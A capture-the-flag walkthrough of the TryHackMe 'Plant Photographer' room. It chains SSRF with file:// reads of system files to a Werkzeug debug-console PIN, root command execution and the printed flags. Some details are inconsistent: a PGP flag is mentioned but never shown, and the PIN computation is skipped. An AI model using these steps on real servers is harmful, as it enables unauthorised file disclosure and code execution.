Skip to main content

Command Palette

Search for a command to run...

Plant Photographer (TryHackMe)

Published
14 min read
Plant Photographer (TryHackMe)
J

Software Developer | Learning Cybersecurity | Open for roles *

If you're in the early stages of your career in software development (student or still looking for an entry-level role) and in need of mentorship, you can reach out to me.

Plant Photographer is a TryHackMe challenge built around a botanist's personal portfolio website running on Werkzeug/Python. The box covers three main vulnerability classes: SSRF (Server-Side Request Forgery) via a download endpoint, information disclosure through an exposed Werkzeug debug console, and RCE by generating the Werkzeug PIN to unlock the interactive console. The attack chain moves from reading the source code through SSRF, to retrieving a PGP-encrypted flag from a cloud storage path, to generating a valid debug PIN using system metadata leaked through the same SSRF vulnerability, ultimately achieving code execution as root inside a Docker container.

Plant Photographer

Your friend, a passionate botanist and aspiring photographer, recently launched a personal portfolio website to showcase his growing collection of rare plant photos:

http://MACHINE\_IP/

Proud of building the site himself from scratch, he’s asked you to take a quick look and let him know if anything could be improved. Look closely at how the site works under the hood, and determine whether it was coded with best practices in mind. If you find anything questionable, dig deeper and try to uncover the flag hidden behind the scenes.

Answer the questions below

What API key is used to retrieve files from the secure storage service?

nmap -p- -sV IP_Address

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Werkzeug httpd 0.16.0 (Python 3.10.7)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
gobuster dir -u http://IP_Address -w /usr/share/wordlists/dirb/common.txt -x php,html,txt

/admin                (Status: 200) [Size: 48]
/console              (Status: 200) [Size: 1985]
/download             (Status: 200) [Size: 20]
Progress: 18456 / 18460 (99.98%)
curl http://IP_Address/
curl http://IP_Address/admin
Admin interface only available from localhost!!!

a sign of LFI or directory traversal

curl http://IP_Address/console
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
  "http://www.w3.org/TR/html4/loose.dtd">
<html>
  <head>
    <title>Console // Werkzeug Debugger</title>
    <link rel="stylesheet" href="?__debugger__=yes&amp;cmd=resource&amp;f=style.css"
        type="text/css">
    <!-- We need to make sure this has a favicon so that the debugger does
         not by accident trigger a request to /favicon.ico which might
         change the application state. -->
    <link rel="shortcut icon"
        href="?__debugger__=yes&amp;cmd=resource&amp;f=console.png">
    <script src="?__debugger__=yes&amp;cmd=resource&amp;f=jquery.js"></script>
    <script src="?__debugger__=yes&amp;cmd=resource&amp;f=debugger.js"></script>
    <script type="text/javascript">
      var TRACEBACK = -1,
          CONSOLE_MODE = true,
          EVALEX = true,
          EVALEX_TRUSTED = false,
          SECRET = "A6L4kB8RSZZZtlo2mDSJ";
    </script>
  </head>
  <body style="background-color: #fff">
    <div class="debugger">
<h1>Interactive Console</h1>
<div class="explanation">
In this console you can execute Python expressions in the context of the
application.  The initial namespace was created by the debugger automatically.
</div>
<div class="console"><div class="inner">The Console requires JavaScript.</div></div>
      <div class="footer">
        Brought to you by <strong class="arthur">DON'T PANIC</strong>, your
        friendly Werkzeug powered traceback interpreter.
      </div>
    </div>

    <div class="pin-prompt">
      <div class="inner">
        <h3>Console Locked</h3>
        <p>
          The console is locked and needs to be unlocked by entering the PIN.
          You can find the PIN printed out on the standard output of your
          shell that runs the server.
        <form>
          <p>PIN:
            <input type=text name=pin size=14>
            <input type=submit name=btn value="Confirm Pin">
        </form>
      </div>
    </div>
  </body>
</html>
curl http://IP_Address/download
No file selected... 
curl "http://IP_ADDRESS/download?server=localhost:80&id=/admin"
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
  "http://www.w3.org/TR/html4/loose.dtd">
<html>
  <head>
    <title>ValueError: invalid literal for int() with base 10: '/admin' // Werkzeug Debugger</title>
    <link rel="stylesheet" href="?__debugger__=yes&amp;cmd=resource&amp;f=style.css"
        type="text/css">

This reveals the flag (I shortened the output)

curl "http://10.49.182.82/download?server=http://localhost/admin%3F&id=1"
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
  "http://www.w3.org/TR/html4/loose.dtd">
<html>
<pre class="line before"><span class="ws">        </span>crl = pycurl.Curl()</pre>
<pre class="line before"><span class="ws">        </span>crl.setopt(crl.URL, server + '/public-docs-k057230990384293/' + filename)</pre>
       </span>crl.setopt(crl.WRITEDATA, response_buf)</pre>
<pre class="line before"><span class="ws">        </span>crl.setopt(crl.HTTPHEADER, ['X-API-KEY: THM{Hello_Im_just_an_API_key}'])</pre>
   
-->

What is the flag in the admin section of the website?

curl "http://IP_Address/download?server=file:///etc/passwd%3F&id=1"
root:x:0:0:root:/root:/bin/ash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/mail:/sbin/nologin
news:x:9:13:news:/usr/lib/news:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
man:x:13:15:man:/usr/man:/sbin/nologin
postmaster:x:14:12:postmaster:/var/mail:/sbin/nologin
cron:x:16:16:cron:/var/spool/cron:/sbin/nologin
ftp:x:21:21::/var/lib/ftp:/sbin/nologin
sshd:x:22:22:sshd:/dev/null:/sbin/nologin
at:x:25:25:at:/var/spool/cron/atjobs:/sbin/nologin
squid:x:31:31:Squid:/var/cache/squid:/sbin/nologin
xfs:x:33:33:X Font Server:/etc/X11/fs:/sbin/nologin
games:x:35:35:games:/usr/games:/sbin/nologin
cyrus:x:85:12::/usr/cyrus:/sbin/nologin
vpopmail:x:89:89::/var/vpopmail:/sbin/nologin
ntp:x:123:123:NTP:/var/empty:/sbin/nologin
smmsp:x:209:209:smmsp:/var/spool/mqueue:/sbin/nologin
guest:x:405:100:guest:/dev/null:/sbin/nologin
nobody:x:65534:65534:nobody:/:/sbin/nologin
curl "http://IP_Address/download?server=file:///etc/passwd%3F&id=1" -o passwd.txt && cat passwd.txt
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100  1172  100  1172    0     0   381k      0 --:--:-- --:--:-- --:--:--  381k
root:x:0:0:root:/root:/bin/ash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/mail:/sbin/nologin
news:x:9:13:news:/usr/lib/news:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
man:x:13:15:man:/usr/man:/sbin/nologin
postmaster:x:14:12:postmaster:/var/mail:/sbin/nologin
cron:x:16:16:cron:/var/spool/cron:/sbin/nologin
ftp:x:21:21::/var/lib/ftp:/sbin/nologin
sshd:x:22:22:sshd:/dev/null:/sbin/nologin
at:x:25:25:at:/var/spool/cron/atjobs:/sbin/nologin
squid:x:31:31:Squid:/var/cache/squid:/sbin/nologin
xfs:x:33:33:X Font Server:/etc/X11/fs:/sbin/nologin
games:x:35:35:games:/usr/games:/sbin/nologin
cyrus:x:85:12::/usr/cyrus:/sbin/nologin
vpopmail:x:89:89::/var/vpopmail:/sbin/nologin
ntp:x:123:123:NTP:/var/empty:/sbin/nologin
smmsp:x:209:209:smmsp:/var/spool/mqueue:/sbin/nologin
guest:x:405:100:guest:/dev/null:/sbin/nologin
nobody:x:65534:65534:nobody:/:/sbin/nologin
curl "http://IP_Address/download?server=file:///sys/class/net/eth0/address%3F&id=1"
02:42:ac:14:00:02

curl "http://IP_Address/download?server=file:///proc/sys/kernel/random/boot_id%3F&id=1"
21220926-d439-44ad-bd16-1def6478914b

curl "http://IP_Address/download?server=file:///proc/self/cgroup%3F&id=1"
12:perf_event:/docker/77c09e05c4a947224997c3baa49e5edf161fd116568e90a28a60fca6fde049ca
11:hugetlb:/docker/77c09e05c4a947224997c3baa49e5edf161fd116568e90a28a60fca6fde049ca
10:rdma:/docker/77c09e05c4a947224997c3baa49e5edf161fd116568e90a28a60fca6fde049ca
9:pids:/docker/77c09e05c4a947224997c3baa49e5edf161fd116568e90a28a60fca6fde049ca
8:cpuset:/docker/77c09e05c4a947224997c3baa49e5edf161fd116568e90a28a60fca6fde049ca
7:freezer:/docker/77c09e05c4a947224997c3baa49e5edf161fd116568e90a28a60fca6fde049ca
6:memory:/docker/77c09e05c4a947224997c3baa49e5edf161fd116568e90a28a60fca6fde049ca
5:cpu,cpuacct:/docker/77c09e05c4a947224997c3baa49e5edf161fd116568e90a28a60fca6fde049ca
4:devices:/docker/77c09e05c4a947224997c3baa49e5edf161fd116568e90a28a60fca6fde049ca
3:blkio:/docker/77c09e05c4a947224997c3baa49e5edf161fd116568e90a28a60fca6fde049ca
2:net_cls,net_prio:/docker/77c09e05c4a947224997c3baa49e5edf161fd116568e90a28a60fca6fde049ca
1:name=systemd:/docker/77c09e05c4a947224997c3baa49e5edf161fd116568e90a28a60fca6fde049ca
0::/docker/77c09e05c4a947224997c3baa49e5edf161fd116568e90a28a60fca6fde049ca
curl -s "http://IP_Address/console" -c cookies.txt
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
  "http://www.w3.org/TR/html4/loose.dtd">
<html>
  <head>
    <title>Console // Werkzeug Debugger</title>
    <link rel="stylesheet" href="?__debugger__=yes&amp;cmd=resource&amp;f=style.css"
        type="text/css">
    <!-- We need to make sure this has a favicon so that the debugger does
         not by accident trigger a request to /favicon.ico which might
         change the application state. -->
    <link rel="shortcut icon"
        href="?__debugger__=yes&amp;cmd=resource&amp;f=console.png">
    <script src="?__debugger__=yes&amp;cmd=resource&amp;f=jquery.js"></script>
    <script src="?__debugger__=yes&amp;cmd=resource&amp;f=debugger.js"></script>
    <script type="text/javascript">
      var TRACEBACK = -1,
          CONSOLE_MODE = true,
          EVALEX = true,
          EVALEX_TRUSTED = false,
          SECRET = "A6L4kB8RSZZZtlo2mDSJ";
    </script>
  </head>
  <body style="background-color: #fff">
    <div class="debugger">
<h1>Interactive Console</h1>
<div class="explanation">
In this console you can execute Python expressions in the context of the
application.  The initial namespace was created by the debugger automatically.
</div>
<div class="console"><div class="inner">The Console requires JavaScript.</div></div>
      <div class="footer">
        Brought to you by <strong class="arthur">DON'T PANIC</strong>, your
        friendly Werkzeug powered traceback interpreter.
      </div>
    </div>

    <div class="pin-prompt">
      <div class="inner">
        <h3>Console Locked</h3>
        <p>
          The console is locked and needs to be unlocked by entering the PIN.
          You can find the PIN printed out on the standard output of your
          shell that runs the server.
        <form>
          <p>PIN:
            <input type=text name=pin size=14>
            <input type=submit name=btn value="Confirm Pin">
        </form>
      </div>
    </div>
  </body>
</html>
curl "http://IP_Address/download?server=file:///usr/local/lib/python3.10/site-packages/werkzeug/debug/__init__.py%3F&id=1" -o werkzeug_debug.py && grep -A 50 "def get_pin_and_cookie_name" werkzeug_debug.py
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100 18275  100 18275    0     0  5948k      0 --:--:-- --:--:-- --:--:-- 5948k
def get_pin_and_cookie_name(app):
    """Given an application object this returns a semi-stable 9 digit pin
    code and a random key.  The hope is that this is stable between
    restarts to not make debugging particularly frustrating.  If the pin
    was forcefully disabled this returns `None`.

    Second item in the resulting tuple is the cookie name for remembering.
    """
    pin = os.environ.get("WERKZEUG_DEBUG_PIN")
    rv = None
    num = None

    # Pin was explicitly disabled
    if pin == "off":
        return None, None

    # Pin was provided explicitly
    if pin is not None and pin.replace("-", "").isdigit():
        # If there are separators in the pin, return it directly
        if "-" in pin:
            rv = pin
        else:
            num = pin

    modname = getattr(app, "__module__", app.__class__.__module__)

    try:
        # getuser imports the pwd module, which does not exist in Google
        # App Engine. It may also raise a KeyError if the UID does not
        # have a username, such as in Docker.
        username = getpass.getuser()
    except (ImportError, KeyError):
        username = None

    mod = sys.modules.get(modname)

    # This information only exists to make the cookie unique on the
    # computer, not as a security feature.
    probably_public_bits = [
        username,
        modname,
        getattr(app, "__name__", app.__class__.__name__),
        getattr(mod, "__file__", None),
    ]

    # This information is here to make it harder for an attacker to
    # guess the cookie name.  They are unlikely to be contained anywhere
    # within the unauthenticated debug page.
    private_bits = [str(uuid.getnode()), get_machine_id()]

    h = hashlib.md5()
curl "http://IP_Address/download?server=file:///proc/self/status%3F&id=1" | head -20
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100  1312  100  1312    0     0   427k      0 --:--:-- --:--:-- --:--:--  427k
Name:	python
Umask:	0022
State:	S (sleeping)
Tgid:	7
Ngid:	0
Pid:	7
PPid:	1
TracerPid:	0
Uid:	0	0	0	0
Gid:	0	0	0	0
FDSize:	64
Groups:	0 1 2 3 4 6 10 11 20 26 27 
NStgid:	7
NSpid:	7
NSpgid:	1
NSsid:	1
VmPeak:	   46784 kB
VmSize:	   44680 kB
VmLck:	       0 kB
VmPin:	       0 kB
grep -A 30 "def get_machine_id" werkzeug_debug.py
def get_machine_id():
    global _machine_id
    rv = _machine_id
    if rv is not None:
        return rv

    def _generate():
        # docker containers share the same machine id, get the
        # container id instead
        try:
            with open("/proc/self/cgroup") as f:
                value = f.readline()
        except IOError:
            pass
        else:
            value = value.strip().partition("/docker/")[2]

            if value:
                return value

        # Potential sources of secret information on linux.  The machine-id
        # is stable across boots, the boot id is not
        for filename in "/etc/machine-id", "/proc/sys/kernel/random/boot_id":
            try:
                with open(filename, "rb") as f:
                    return f.readline().strip()
            except IOError:
                continue

        # On OS X we can use the computer's serial number assuming that
        # ioreg exists and can spit out that information.
grep -A 20 "h = hashlib.md5" werkzeug_debug.py
    h = hashlib.md5()
    for bit in chain(probably_public_bits, private_bits):
        if not bit:
            continue
        if isinstance(bit, text_type):
            bit = bit.encode("utf-8")
        h.update(bit)
    h.update(b"cookiesalt")

    cookie_name = "__wzd" + h.hexdigest()[:20]

    # If we need to generate a pin we salt it a bit more so that we don't
    # end up with the same value and generate out 9 digits
    if num is None:
        h.update(b"pinsalt")
        num = ("%09d" % int(h.hexdigest(), 16))[:9]

    # Format the pincode in groups of digits for easier remembering if
    # we don't have a result yet.
    if rv is None:
        for group_size in 5, 4, 3:
grep -A 30 "def get_machine_id" werkzeug_debug.py
def get_machine_id():
    global _machine_id
    rv = _machine_id
    if rv is not None:
        return rv

    def _generate():
        # docker containers share the same machine id, get the
        # container id instead
        try:
            with open("/proc/self/cgroup") as f:
                value = f.readline()
        except IOError:
            pass
        else:
            value = value.strip().partition("/docker/")[2]

            if value:
                return value

        # Potential sources of secret information on linux.  The machine-id
        # is stable across boots, the boot id is not
        for filename in "/etc/machine-id", "/proc/sys/kernel/random/boot_id":
            try:
                with open(filename, "rb") as f:
                    return f.readline().strip()
            except IOError:
                continue

        # On OS X we can use the computer's serial number assuming that
        # ioreg exists and can spit out that information. 
import os; print(os.popen('strings /usr/src/app/private-docs/flag.pdf | grep -i thm').read())
ZtHm

>>> import os; print(os.popen('strings /usr/src/app/private-docs/download.pdf | grep -i thm').read())

>>> import os; print(os.popen('ls /usr/src/app/private-docs/').read())
flag.pdf

>>> import os; print(os.popen('strings /usr/src/app/private-docs/flag.pdf').read())
%PDF-1.6
2 0 obj
<</Length 3 0 R/Filter/FlateDecode>>
stream
 r6f
endstream
endobj
3 0 obj
endobj
4 0 obj
<</Type/XObject/Subtype/Image/Width 552 /Height 564 /BitsPerComponent 8 /ColorSpace/DeviceRGB/Filter/DCTDecode/Length 15376 /SMask 5 0 R >>
stream
JFIF
*%,+)%((.4B8.1?2((:N:?DGJKJ-7QWQHVBIJG
"G0(0GGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGG
%H	#s
\9dY
Z\9Ar
uo%NCR
(kE<
.Vjw^
e]ib
eJw)
c/S.
=4Vc
"J"J"J"J"J"J"J"J"J*
c6yc
.Jd.vd"d"d"d"d"d"d"d"o"u
zM71
Joe=
:9[B
'Y4.
/dkd
 !2@P
03"`#p
{uFh)
Y_W]zy
AKCsX
P9-9'
=_uu
d|JW
q^q^
ymMC
vXno X
mCrX3NJ
N<g-
){qa
P?ZU4
LYu+
)~VP
-9' 9
>F5Y
SSBs
N@FD
!#.C
J[5t
 !01@AQ
23"Ba#DPRpq
QO!w\
{?GO
LV;a4z
6RS8
*Vg=
oRLG
>[1T
wFnow
dofRS
GaeU
7eO+
KPBvdL
vgk:
|h~FU_
L<-0
L<-0
L<-0
r<ov^
|)gy7v
F-wn
KyvR;<OeJ
3wRD
 !@02AQ
"BPp
tf(b{@
>8O0(
=gY2
YL;"
 10P
"2AQ`bp
!L)+
mnst
NyV8
eeeH_
T[%@
Vi!A
aW8P)
+++++++++++++++++++++*y
+*k%
Dm=y
zy^l
!@SVd
 APQaq
R0~oH;
u~Er
kt~J
6{nZ.I
X	hM
9wZ.I
F0lDo7
7QrM
bB2\
77G-7
;1S<
1Y4`
mySf
0j0<a
E);W
C~]p
QLSr(Hp
_{L=
_[Y;4wM
u3f9
?:#&+
	hQx
TYyEgSi
/jI"
2QrJA
ib6 
zcpi
]H80@
BWM J+
V2mS/
<7oy
<3O<
!1AQaq
QKJg0
{D'5
wl5@
,%<.
d[DyG Z%
O5S0
`tD6!
Ixu`)
 w_x
1! 0@AaQP
`QGJ
#o!OS
-U%~
hP\b
 Qaq
!b`MY@
9zxD[
P',_
>}u2
hdW7`
?tY3
j!.2
{~$T,
~8q1
	#u_
;PAK
FRH{
rKFD
MJ@o
abwR
FjRW
kwr8i
[O@xbD
9wWG>
z:<^
ut2m
fPD	$YSe
G-N}
b6:b
H"#"eA
F5!G
)1V_
18zv
mj[tN5
c@Eq!
G&=6c
 Y(b
R		#S
HE`%
G6}=
g'Tf
Ob";
1w"3{~
eCQ,.
,[m]
L"\h
9zQm
TmHBn
rq6QF
lI:z
 0(@[
dX:h
&	RB%
1f%M
Fr<9
Y!n3
yFMM
 \Gf
endstream
endobj
5 0 obj
<</Type/XObject/Subtype/Image/Width 552/Height 564/BitsPerComponent 8/Length 6 0 R
/Filter/FlateDecode/ColorSpace/DeviceGray
/Decode [ 1 0 ]
stream
FJ!D
QjLm#
4YjU
UJ*N
mN!j
.`n0
&@>0^
}P[6I
gRb2
UJiw5
vSX(a
&gbi
(S[k!
eI'<
R[{V
oS[z.
	](<
S .+
:iS[
Ndj#
ZtHm
x824
s'_J,
tR6Km
1@w=]
Im`Z
$'Tj
Jm|4F
jmVd
"ysm
hS''
M9&Js
9{)u
\'ms
:u~=
4o'O
wPMU
SELmP
(Y%}c
6<AN
/%*\<Kw.w
&@t.
==_/
.nLQ
4=L$JJY
a"A[
8IabR
:,	/G
+)LLj
6;g:
c%<RB)
v@[J(X <
<(>?h]
rO9c
.f^ 
`^T~
;(>z
G\J1ejQw
6 .k
0^Jib
vem9F1L
m1F0
C^TR
uM^@:
7+vL'|
tb8o
]m4L+
o<|u
JAYo3
+ak7
 :1^K
E%](
Dx^/Yg7
~ :1
zIq,
0<|a
	a}`
tQHB
^ky9Bo
[4>]
K6(|
+)K!R
3QOgE
c5	:
Ab>r
x4"}>
|P[S
|TK|
wM|E
K|XW
|TF_E
aV(}
oT'Z
qslL
q0J.G
3fm+
_9:\
|3z0
Yqm3_
_0S+37E?atz
	~C'S
c^u<
"V[b
=U'#X2yt
@'bZt4
S{L-
U(&`=
T`>w
LX'[h
	{r0
"9`bg
F[\Z
vsOH(
`_tn
P'S7
#	Y'
?Q1,
-Kh=
	h}ln
a`*S
:|e;
Dodm
'oX'
endstream
endobj
6 0 obj
9787
endobj
8 0 obj
<</Length 9 0 R/Filter/FlateDecode/Length1 10260>>
stream
Xyx[
Phii
'BA_
;{O]2
N=#^3
7x=}
Z[V*
P*wt0
4A6t{
y	6;
QU(Y
$,tGe
hfjN
}7(y
w0px
9x/*ZP 
e<{%
{=ML
X6XC
e\&7t
eZ[@
Z2%CT
V=L<AF
S^<TF-
lQ'vz3t
POCX
./o9
s,Yf
.'wN
|oOX
F;_X
Hn .k
u>t*
X!9Y8k
!4g%
JX$}
HT#9h${
Ik?F
Wgxa
o69M
\\Z&
 w4]
)O{t
72rP${D2 
6)R>
(}JZ8
/L?p
x>fL1*
km[+
yf%1
w|/5
f%@P
h=|*<
&Xd|
DKt(
Ga8"
caf+
>\K$
/IW>
.d":
Gq.6
k;Xk
7&'i
J%(Gi
 Mu%
8lCY
r3bO
KC3kG}W1
jhgh
Eg*K
_)k1;
Zv?D
$:A&
8A$%
o*uv
oq;1
6t8/u
d2	i
endstream
endobj
9 0 obj
6372
endobj
10 0 obj
<</Type/FontDescriptor/FontName/CAAAAA+LiberationSans-Bold
/Flags 4
/FontBBox[-481 -376 1303 1033]/ItalicAngle 0
/Ascent 0
/Descent 0
/CapHeight 1033
/StemV 80
/FontFile2 8 0 R
endobj
11 0 obj
<</Length 302/Filter/FlateDecode>>
stream
!2ds"Y
eS5F
ahL?
9/X^
^~v.
yC9'
endstream
endobj
12 0 obj
<</Type/Font/Subtype/TrueType/BaseFont/CAAAAA+LiberationSans-Bold
/FirstChar 0
/LastChar 17
/Widths[0 333 610 889 389 556 556 610 556 277 556 500 333 277 610 610
610 389 ]
/FontDescriptor 10 0 R
/ToUnicode 11 0 R
endobj
13 0 obj
<</Length 14 0 R/Filter/FlateDecode/Length1 9200>>
stream
?gf$Y~I2
e,@c
!LLj
6D	1
Mj6m
,	nK
Q&O$
!?OS
f`?|
^Qj1
HKmM
PeEV
fGs8
CXg2
>r1<
3=rD!
!G+!
U92%
PTVu
\uYZ
l!Zw=
'E31d
~GDV
9W`\
29VP"
v-%w
N".:7
sf#gR%n%
g(1L
H%&*1
b+4XD[
)-op-
;R4	
8_gu
8.vYJh
<w*{
XA}%
yS+:
;Te5
_Z\:
m+fQ
:!Oz^
@e{'.}1
HL|w\
;Y%\
(vh4
Stg5:_xS
p,-+
h0"oWRr(
^9E3
h_4M>"JR	
~V"B8=
hU	RQ
XCv[Hz
)m^Y
4bXl
<+F)|
2LpN-
7x`k
%T_B
<?(t<
{rCE
]5x7
:EbR##
"?)-\
endstream
endobj
14 0 obj
5479
endobj
15 0 obj
<</Type/FontDescriptor/FontName/BAAAAA+LiberationSans
/Flags 4
/FontBBox[-543 -303 1300 979]/ItalicAngle 0
/Ascent 0
/Descent 0
/CapHeight 979
/StemV 80
/FontFile2 13 0 R
endobj
16 0 obj
<</Length 269/Filter/FlateDecode>>
stream
tTZ:X
8G>'>!_
endstream
endobj
17 0 obj
<</Type/Font/Subtype/TrueType/BaseFont/BAAAAA+LiberationSans
/FirstChar 0
/LastChar 10
/Widths[0 610 556 556 277 277 222 556 556 222 500 ]
/FontDescriptor 15 0 R
/ToUnicode 16 0 R
endobj
18 0 obj
<</F1 17 0 R/F2 12 0 R
endobj
19 0 obj
<</Font 18 0 R
/XObject<</Im4 4 0 R>>
/ProcSet[/PDF/Text/ImageC/ImageI/ImageB]
endobj
1 0 obj
<</Type/Page/Parent 7 0 R/Resources 19 0 R/MediaBox[0 0 612 792]/Contents 2 0 R>>
endobj
20 0 obj
<</Count 1/First 21 0 R/Last 21 0 R
endobj
21 0 obj
<</Count 0/Title<FEFF005000610067006500200031>
/Dest[1 0 R/XYZ 0 792 0]/Parent 20 0 R>>
endobj
7 0 obj
<</Type/Pages
/Resources 19 0 R
/MediaBox[ 0 0 612 792 ]
/Kids[ 1 0 R ]
/Count 1>>
endobj
22 0 obj
<</Type/Catalog/Pages 7 0 R
/OpenAction[1 0 R /XYZ null null 0]
/Outlines 20 0 R
endobj
23 0 obj
<</Creator<FEFF0044007200610077>
/Producer<FEFF004C0069006200720065004F0066006600690063006500200037002E0034>
/CreationDate(D:20220915125245-05'00')>>
endobj
xref
0 24
0000000000 65535 f 
0000039648 00000 n 
0000000019 00000 n 
0000000353 00000 n 
0000000373 00000 n 
0000015923 00000 n 
0000025888 00000 n 
0000039907 00000 n 
0000025909 00000 n 
0000032366 00000 n 
0000032387 00000 n 
0000032584 00000 n 
0000032956 00000 n 
0000033189 00000 n 
0000038754 00000 n 
0000038776 00000 n 
0000038967 00000 n 
0000039306 00000 n 
0000039506 00000 n 
0000039549 00000 n 
0000039746 00000 n 
0000039802 00000 n 
0000040006 00000 n 
0000040107 00000 n 
trailer
<</Size 24/Root 22 0 R
/Info 23 0 R
/ID [ <1637DD776C128E32BD2386051425CB5A>
<1637DD776C128E32BD2386051425CB5A> ]
/DocChecksum /3CF27DCEC7652D1DECDD2AA8771CC71A
startxref
40274
%%EOF
import os; print(os.popen('strings /usr/src/app/private-docs/flag.pdf | grep -i -A2 -B2 thm').read())
:iS[
Ndj#
ZtHm
x824
s'_J,

http://IP_Address/public-docs-k057230990384293/flag.pdf: thm{c4n_i_haz_flagz_plz?}

What flag is stored in a text file in the server's web directory?

/console

pin: 110-688-511

[console ready]
>>> import os; os.popen('id').read()
'uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm)  
>>> import os; os.popen('ls -la').read()
'total 40\ndrwxr-xr-x    1 root     root          4096 May 19  2025 .\  
>>> import os; os.popen('pwd').read()
'/usr/src/app\n'
>>> import os; os.popen('cat /etc/passwd').read()
'root:x:0:0:root:/root:/bin/ash\nbin:x:1:1:bin:/bin:/sbin/nologin\ndae  
>>> import os; os.popen('ls /').read()
'bin\ndev\netc\nhome\nlib\nmedia\nmnt\nopt\nproc\nroot\nrun\nsbin\nsrv  
>>> import os; os.popen('ls /root').read()
''
>>> import os; os.popen('ls /usr/src/app').read()
'Dockerfile\napp.py\nflag-982374827648721338.txt\nprivate-docs\npublic  
>>> import os; os.popen('cat /usr/src/app/flag-982374827648721338.txt').read()
'THM{SSRF2RCE_2_1337_4_M3}\n'
>>>

Conclusion

Plant Photographer demonstrates how a single SSRF vulnerability can unravel an entire application. The download endpoint accepted arbitrary server and file parameters, making it possible to read local files via file:// — leaking /etc/passwd, the MAC address, the Docker container ID, and the Werkzeug source itself. That source revealed exactly what inputs the PIN generation algorithm uses, allowing us to compute a valid PIN and unlock the debug console for RCE. The flags were then trivially readable from the filesystem. The key takeaways are: never expose the Werkzeug debug console in any accessible environment, always validate and restrict URL parameters that trigger server-side requests, and treat SSRF as a critical finding rather than a low-severity issue.